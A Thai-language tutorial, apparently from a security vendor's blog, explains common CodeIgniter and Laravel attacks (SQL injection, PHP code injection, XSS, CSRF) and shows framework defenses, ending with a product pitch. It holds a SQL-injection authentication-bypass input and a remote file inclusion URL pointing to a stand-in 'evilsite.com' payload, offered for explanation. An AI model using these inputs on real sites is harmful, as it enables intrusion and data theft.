Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

ความปลอดภัย CodeIgniter และ Laravel: ระบุและแก้ไขช่องโหว่ทั่วไป

Laravel และ CodeIgniter เป็นเฟรมเวิร์ก PHP ยอดนิยมที่ใช้สร้างเว็บไซต์ ความนิยมของพวกเขายังมาจากลักษณะโอเพนซอร์สของทั้งสองเฟรมเวิร์ก อย่างไรก็ตาม ผู้ใช้ต้องเข้าใจว่าการปรับใช้เว็บไซต์ด้วยเฟรมเวิร์กเหล่านี้ไม่ได้ทำให้เว็บไซต์ปลอดภัยโดยอัตโนมัติ เพราะสิ่งที่สำคัญคือแนวทางปฏิบัติการพัฒนาที่ปลอดภัย การโจมตี SQL Injection ใน CodeIgniter และ SQL Injection ใน Laravel เป็นหัวข้อความปลอดภัยที่พบบ่อยที่สุดในฟอรั่มช่วยเหลือ นอกเหนือจาก SQLi แนวทางพัฒนาที่ไม่ปลอดภัยยังทำให้เว็บไซต์เปราะบางต่อ XSS, CSRF, การโจมตี RFI และอื่นๆ อีกมากมาย

ตัวอย่างเว็บไซต์ CodeIgniter และ Laravel ถูกแฮก

การโจมตีอย่าง SQL Injection ใน CodeIgniter หรือ Laravel อาจทำให้เว็บไซต์ถูกเจาะ การโจมตีเหล่านี้ค่อนข้างพบได้บ่อยและแพร่หลาย ดังนั้นจึงพบผู้ใช้จำนวนมากที่ประสบการโจมตีคล้ายกันขอความช่วยเหลือบนฟอรั่มชุมชน Laravel หรือฟอรั่มชุมชน CodeIgniter ตัวอย่างบางส่วนแสดงด้านล่างนี้

ความปลอดภัย CodeIgniter และ Laravel: ระบุและแก้ไขช่องโหว่ทั่วไป ความปลอดภัย CodeIgniter และ Laravel: ระบุและแก้ไขช่องโหว่ทั่วไป

อาการของการถูกแฮก CodeIgniter หรือ Laravel

  • หน้าฟิชชิง Laravel หรือ CodeIgniter ที่ออกแบบมาเพื่อขโมยข้อมูลละเอียดอ่อนปรากฏบนเว็บไซต์
  • ผู้ใช้ร้องเรียนว่าถูกเปลี่ยนเส้นทางไปยังเว็บไซต์อันตราย
  • เนื้อหาไร้ความหมายปรากฏบนเว็บไซต์ Laravel หรือ CodeIgniter เนื่องจากการแฮกคีย์เวิร์ดญี่ปุ่นหรือแฮกยา (Pharma hack) ฯลฯ
  • เว็บไซต์ Laravel หรือ CodeIgniter ทำงานช้ามากและแสดงข้อความผิดพลาด
  • เมื่อใช้โฮสติ้งของบุคคลที่สาม ปรากฏข้อความ "บัญชีของคุณถูกระงับ!"
  • เว็บไซต์ Laravel หรือ CodeIgniter ถูกบล็อกโดยเครื่องมือค้นหา
  • บันทึกข้อผิดพลาดแสดงการโจมตีบางประเภท เช่น SQL Injection ใน CodeIgniter บนเว็บไซต์
  • บันทึกแสดงการเข้าถึงเว็บไซต์จากที่อยู่ IP ระยะไกล
  • มีผู้ดูแลระบบใหม่ที่ไม่ได้รับอนุญาตปรากฏในฐานข้อมูลล็อกอิน

สาเหตุหลักของการถูกแฮก CodeIgniter หรือ Laravel

1) การแฮก CodeIgniter หรือ Laravel: การโจมตีแบบฉีดโค้ด (Injection Attacks)

a) SQL Injection ใน CodeIgniter หรือ Laravel

SQL Injection ใน CodeIgniter เป็นการโจมตีที่พบบ่อยมากและแพร่หลายบนอินเทอร์เน็ต ตามชื่อแล้ว การโจมตีนี้มีเป้าหมายที่ฐานข้อมูลของเซิร์ฟเวอร์ ด้วยการใช้ช่องโหว่ SQL Injection ใน CodeIgniter ผู้โจมตีสามารถ:

  • ดึงข้อมูลจากฐานข้อมูล
  • แก้ไขเนื้อหาฐานข้อมูล (รวมถึงลบฐานข้อมูลทั้งหมด!)
  • ในบางกรณี ได้รับ reverse shell
  • ข้ามการตรวจสอบสิทธิ์โดยใช้การป้อนข้อมูล เช่น 'or 1 = 1

b) การฉีดโค้ด PHP ใน CodeIgniter / Laravel

การฉีดโค้ด PHP เป็นช่องโหว่ทั่วไปอีกประเภทหนึ่งที่อนุญาตให้ผู้โจมตีรันโค้ดบนเว็บไซต์ Laravel / CodeIgniter แต่มันแตกต่างจากการฉีดคำสั่ง (command injection) ที่ผู้โจมตีสามารถรันคำสั่งผ่าน reverse shell ได้ ตัวอย่างเช่น พารามิเตอร์ที่เปราะบางอาจถูกส่งลิงก์ไปยังไฟล์อันตรายที่มีโค้ด PHP เพื่อรัน เช่น https://testsite.com/?page=https://evilsite.com/evilcode.php

ไฟล์นี้อาจมีฟังก์ชันอย่าง phpinfo() ซึ่งสามารถใช้ดึงข้อมูลได้

2) การแฮก CodeIgniter หรือ Laravel: Cross-Site Scripting (XSS) ใน CodeIgniter / Laravel

ช่องโหว่ XSS เกิดขึ้นในเว็บไซต์ Laravel / CodeIgniter เนื่องจากขาดการทำความสะอาดข้อมูลนำเข้า (input sanitization) ทั้งสองเฟรมเวิร์กมีฟังก์ชันความปลอดภัยที่ออกแบบมาเพื่อป้องกันการโจมตีเหล่านี้ การใช้ช่องโหว่ XSS ผู้โจมตีสามารถ:

  • ฟิชชิงผู้ใช้เพื่อขโมยคุกกี้และข้อมูลเซสชันที่ละเอียดอ่อน
  • เปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์อันตราย
  • ใช้เพื่อข้ามนโยบาย same-origin policy

3) การแฮก Laravel หรือ CodeIgniter: Cross-Site Request Forgery (CSRF) ใน CodeIgniter / Laravel

การโจมตีนี้มีจุดประสงค์เพื่อหลอกล่อให้ผู้ใช้ทำการกระทำที่ไม่พึงประสงค์ อย่างไรก็ตาม ประเภทการโจมตีนี้สามารถใช้เพื่อจัดการข้อมูลได้เท่านั้น (เช่น ลบฟอร์ม) ไม่ใช่การขโมยหรืออ่านข้อมูล ในกรณีร้ายที่สุด หากเหยื่อเป็นผู้ดูแลระบบ แอปพลิเคชันทั้งหมดอาจถูกทำลาย การโจมตีนี้ใช้กลยุทธ์วิศวกรรมสังคมเพื่อหลอกเหยื่อให้คลิกลิงก์ที่รันคำสั่งอย่างการลบบัญชีในพื้นหลัง

ความปลอดภัย CodeIgniter และ Laravel: ระบุและแก้ไขช่องโหว่ทั่วไป

เว็บไซต์ CodeIgniter หรือ Laravel ถูกแฮก? ส่งข้อความมาที่วิดเจ็ตแชทเราจะช่วยแก้ไขปัญหานี้ให้คุณ แก้ไขเว็บไซต์ Laravel / CodeIgniter ที่ถูกแฮกของฉัน

4) ปกป้องเว็บไซต์ CodeIgniter / Laravel ของคุณ

การแฮก CodeIgniter หรือ Laravel: ป้องกัน SQL Injection ใน CodeIgniter

CodeIgniter มาพร้อมกับคุณสมบัติความปลอดภัยมากมาย บางอย่างรวมถึงฟังก์ชันและไลบรารีสำหรับป้องกัน SQL Injection ใน CodeIgniter ในบทความนี้จะอธิบาย 3 วิธีหลักในการทำให้สำเร็จทีละขั้นตอน

การแฮก CodeIgniter หรือ Laravel: การ escape คิวรีใน CodeIgniter

การ escape ข้อมูลก่อนส่งเข้าสู่แอปพลิเคชัน PHP จะทำให้ข้อมูลปลอดภัย ดังนั้นจึงเป็นแนวทางปฏิบัติที่ปลอดภัยและควรปฏิบัติอย่างสม่ำเสมอ แม้การ escape คิวรีก็สามารถทำได้ 3 วิธี:

  1. $this->db->escape(): กำหนดประเภทข้อมูลก่อน escape
  2. $this->db->escape_str(): ไม่กำหนดประเภทข้อมูล แค่ escape อย่างเดียว
  3. $this->db->escape_like_str(): ใช้ร่วมกับเงื่อนไขได้

เพื่อความชัดเจน โปรดดูโค้ดตัวอย่างด้านล่าง

<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>

ในโค้ดนี้ ฟังก์ชัน $this->db->escape() จะกำหนดประเภทข้อมูลก่อนเพื่อ escape เฉพาะข้อมูลสตริง นอกจากนี้ยังเพิ่มเครื่องหมายควอตเดี่ยวรอบข้อมูลนำเข้าอัตโนมัติ ซึ่งป้องกัน SQL Injection ใน CodeIgniter

การแฮก CodeIgniter หรือ Laravel: คิวรีแบบผูกตัวแปร (Binding Queries) ใน CodeIgniter

คิวรีแบบผูกตัวแปรสามารถลดความซับซ้อนของโค้ดได้นอกจากทำความสะอาดอินพุตของเว็บไซต์ CodeIgniter วิธีนี้ช่วยให้ระบบจัดการคิวรี ลดความซับซ้อนสำหรับนักพัฒนา ตัวอย่างโค้ดด้านล่าง

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status =? AND email =?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

ที่นี่คุณจะเห็นเครื่องหมายคำถามในบรรทัดแรกแทนค่า เนื่องจากการผูกคิวรี เครื่องหมายคำถามเหล่านี้จะถูกแทนที่ด้วยค่าจากอาร์เรย์ในบรรทัดที่สอง ในตัวอย่างก่อนหน้าเราเห็นการ escape คิวรีด้วยตนเอง แต่ที่นี่วิธีนี้ทำได้อัตโนมัติ ทำให้หยุด SQL Injection ใน CodeIgniter ได้

การแฮก CodeIgniter หรือ Laravel: Active Record ใน CodeIgniter

ฟีเจอร์ Active Record ของ CodeIgniter ช่วยให้เราทำการดำเนินการกับฐานข้อมูลได้ด้วยโค้ดหรือสคริปต์น้อยที่สุด เนื่องจากเป็นฟังก์ชันของระบบ เอง การ escape คิวรีจึงทำงานอัตโนมัติ ตัวอย่างเช่น ดึงข้อมูลทั้งหมดของตารางได้ด้วยคิวรีง่ายๆ:

$query = $this->db->get('mytable');

การแฮก CodeIgniter หรือ Laravel: ป้องกัน SQL Injection ใน Laravel

Eloquent ORM ของ Laravel ใช้การผูกข้อมูลวัตถุ PHP เพื่อทำความสะอาดอินพุตของผู้ใช้ ซึ่งป้องกัน SQL Injection ของ Laravel การผูกพารามิเตอร์ยังเพิ่มเครื่องหมายควอตอัตโนมัติ ป้องกันการป้อนข้อมูลอันตรายอย่าง 'or 1 = 1 จากการข้ามการตรวจสอบสิทธิ์

$results = DB::select('select * from users where id =:id', ['id' => 1]);

นี่คือตัวอย่างการใช้งานคิวรีผูกชื่อ (named binding query) ใน Laravel

การแฮก CodeIgniter หรือ Laravel: ป้องกัน Cross-Site Scripting ใน CodeIgniter

เพื่อป้องกันการโจมตี XSS ที่อาจเกิดขึ้น CodeIgniter มาพร้อมกับฟิลเตอร์ XSS สำเร็จรูป หากฟิลเตอร์นี้พบคำขออันตราย จะแปลงเป็นเอนทิตีอักขระ ทำให้แอปพลิเคชันปลอดภัย ฟิลเตอร์นี้เข้าถึงได้ผ่านเมธอด xss_clean():

$data = $this->security->xss_clean($data);

อย่างไรก็ตาม ผู้โจมตีบางครั้งฉีดโค้ดอันตรายเข้าไปในไฟล์รูปภาพ เพื่อป้องกันการโจมตีแบบนี้ การตรวจสอบความปลอดภัยของไฟล์อัปโหลดก็สามารถทำได้ ตัวอย่างโค้ดด้านล่าง

if ($this->security->xss_clean($file, TRUE) === FALSE)

{

// ไฟล์ไม่ผ่านการทดสอบ XSS

}

โค้ดนี้จะคืนค่า boolean True หากรูปภาพปลอดภัย และในทางกลับกัน อย่างไรก็ตาม ควรทราบว่าการใช้เมธอด html_escape() แนะนำหากคุณต้องการกรองค่าแอตทริบิวต์ HTML

การแฮก CodeIgniter หรือ Laravel: ป้องกัน Cross-Site Scripting ใน Laravel

ด้วยการ escape สตริง การโจมตี XSS สามารถป้องกันได้บนเว็บไซต์ Laravel การ escape สตริงจะป้องกันการนำอินพุตที่ไม่ได้รับอนุญาตไปใช้ อย่างไรก็ตาม สำหรับ Laravel เวอร์ชัน > 5.1 ฟีเจอร์นี้เปิดใช้งานโดยค่าเริ่มต้น ดังนั้นเมื่อมีอินพุตอย่าง <div> {{$task->names}} </div> ถูกส่งให้ Laravel เวอร์ชันสูงกว่า 5.1 แอปพลิเคชันจะไม่เปราะบางเนื่องจาก escape คิวรีอัตโนมัติ นอกจากนี้ การจำกัดความยาวอินพุตที่ผู้ใช้ให้มาสามารถป้องกันบางประเภทของการโจมตี XSS และ SQLi ได้ สามารถทำได้ผ่านโค้ด HTML ด้านล่าง

<input type="text" name="task" maxlength="10">

สิ่งเดียวกันสามารถทำได้ผ่านฟังก์ชัน JS อีกด้วย นอกจากนี้ ไวยากรณ์ {% raw %} {{}} {% endraw %} ใน Laravel สามารถ escape เอนทิตี HTML อันตรายทั้งหมดที่ส่งมาได้โดยค่าเริ่มต้น นอกจากนี้ยังมีไลบรารีบางตัวที่ออกแบบมาเฉพาะสำหรับงานนี้และสามารถใช้เพื่อป้องกัน Laravel XSS หากคุณใช้เครื่องมือเทมเพลตอย่าง Blade มันจะใช้ escape อัตโนมัติเพื่อป้องกันการโจมตีเหล่านี้

การแฮก CodeIgniter หรือ Laravel: ป้องกันการโจมตี CSRF ใน CodeIgniter

การป้องกัน CSRF สามารถเปิดใช้งานใน CodeIgniter ได้โดยแก้ไขไฟล์ application/config/config.php เพียงเพิ่มโค้ดต่อไปนี้ลงในไฟล์:

$config['csrf_protection'] = TRUE;

สำหรับผู้ใช้ที่ใช้ Form Helper ฟังก์ชัน form_open() จะแทรกฟิลด์โทเค็น CSRF แบบซ่อนลงในฟอร์มโดยค่าเริ่มต้น อีกวิธีหนึ่งในการใช้งานการป้องกัน CSRF คือการใช้ get_csrf_token_name() และ get_csrf_hash() สำหรับอ้างอิง โปรดดูสองโค้ดสนิปเพ็ตด้านล่างของฟอร์มและการใช้งานฝั่งเซิร์ฟเวอร์

$csrf = array(

'name' => $this->security->get_csrf_token_name(),

'hash' => $this->security->get_csrf_hash()

);

————————————————– ——————

<input type="hidden" name="" value="" />

การสร้างโทเค็นใหม่ (token regeneration) เป็นแนวทางปฏิบัติที่ปลอดภาอีกอย่างหนึ่งสำหรับการป้องกันการโจมตี CSRF ของ CodeIgniter อย่างไรก็ตาม การสร้างโทเค็นใหม่อาจก่อให้เกิดปัญหา เพราะผู้ใช้อาจต้องยืนยันตัวตนใหม่หลังจากไปที่แท็บอื่น การสร้างโทเค็นใหม่สามารถทำได้ผ่านการตั้งค่าคอนฟิกต่อไปนี้:

$config['csrf_regenerate'] = TRUE;

การแฮก CodeIgniter หรือ Laravel: ป้องกันการโจมตี CSRF ใน Laravel

โทเค็นถูกใช้ในฟอร์ม Laravel เพื่อป้องกันการโจมตี CSRF โทเค็นเหล่านี้จะถูกเรียกผ่านการเรียก AJAX ที่มีอยู่ในทุกฟอร์ม ข้อมูลโทเค็นคำขอจะถูกจับคู่กับข้อมูลที่จัดเก็บบนเซิร์ฟเวอร์สำหรับเซสชันของผู้ใช้เพื่อตรวจสอบความผิดปกติ โทเค็น CSRF สามารถส่งไปยังฟอร์มได้โดยใช้โค้ดต่อไปนี้ (การใช้งาน Blade templates):

<form name="CSRF Implementation">

{!! csrf_field() !!}

<! – Input อื่นๆ อาจมาได้ที่นี่ ->

</form>

อย่างไรก็ตาม โทเค็น CSRF อาจถูกเพิ่มโดยค่าเริ่มต้นเมื่อใช้แพ็กเกจ LaravelCollective/HTML

การแฮก CodeIgniter หรือ Laravel: บล็อกการรายงานข้อผิดพลาด

ข้อผิดพลาดของไฟล์มีประโยชน์ในสภาพแวดล้อมการพัฒนา อย่างไรก็ตามบนเว็บ ข้อผิดพลาดไฟล์ของ CodeIgniter อาจรั่วไหลข้อมูลที่ละเอียดอ่อนไปยังผู้โจมตี ดังนั้นจึงแนะนำให้ปิดการรายงานข้อผิดพลาด

ข้อผิดพลาด PHP

เพื่อปิดการรายงานข้อผิดพลาด PHP ให้ใช้ไฟล์ index.php เพียงส่งศูนย์เป็นอาร์กิวเมนต์ให้ฟังก์ชัน error_reporting() ดูตัวอย่างด้านล่างเพื่ออ้างอิง

error_reporting(0);

อย่างไรก็ตาม สำหรับ CodeIgniter เวอร์ชัน 2.0.1 ขึ้นไป ค่าคงที่สภาพแวดล้อมในไฟล์ index.php สามารถตั้งค่าเป็น "production" เพื่อปิดการแสดงผลข้อผิดพลาด PHP

ข้อผิดพลาดฐานข้อมูล

ข้อผิดพลาดฐานข้อมูลสามารถปิดได้โดยแก้ไขไฟล์ application/config/database.php เพียงตั้งค่าตัวเลือก db_debug เป็น FALSE ดูตัวอย่างด้านล่าง

$db['default']['db_debug'] = FALSE;

การบันทึกข้อผิดพลาด (Error Logging)

วิธีที่ฉลาดกว่าคือการส่งข้อผิดพลาดที่เกิดขึ้นไปยังไฟล์ log ซึ่งจะป้องกันไม่ให้มันแสดงออกมา ตัวเลือก log_threshold ในไฟล์ /config/config.php สามารถตั้งค่าเป็น 1 เพื่อวัตถุประสงค์นี้ ดูตัวอย่างด้านล่าง

$config['log_threshold'] = 1;

ใช้ Web Application Firewall สำหรับ Laravel หรือ CodeIgniter

แม้ผู้เชี่ยวชาญก็อาจพลาดบางการตั้งค่าที่อาจทำให้เว็บไซต์ Laravel / CodeIgniter เปราะบาง นอกจากนี้ ผู้โจมตีกำลังค้นหาวิธีใหม่ๆ เพื่อเจาะเว็บไซต์ของคุณตลอดเวลา ดังนั้น แนวทางปฏิบัติที่ปลอดภาอีกอย่างคือการใช้ไฟร์วอลล์หรือโซลูชันความปลอดภัยใดๆ Astra เป็นโซลูชันความปลอดภัยอย่างหนึ่งที่ออกแบบมาเพื่อตอบสนองความต้องการที่ยืดหยุ่นของคุณ จ่ายเฉพาะสิ่งที่คุณใช้ Astra เป็นโซลูชันความปลอดภัยที่พร้อมใช้งานทันที ราคาเริ่มต้นที่ $9 ต่อเดือน ส่งข้อความให้เราและเข้าสู่การรักษาความปลอดภัยโค้ด PHP ของคุณ รับ демо ตอนนี้!

ความปลอดภัย CodeIgniter และ Laravel: ระบุและแก้ไขช่องโหว่ทั่วไป

Astra มอบการตรวจสอบความปลอดภัยครบวงจรสำหรับเว็บไซต์ Laravel หรือ CodeIgniter ของคุณด้วยการทดสอบที่ใช้งานจริงมากกว่า 80 รายการ ผสมผสานระหว่างการทดสอบด้วยมือและอัตโนมัติอย่างดี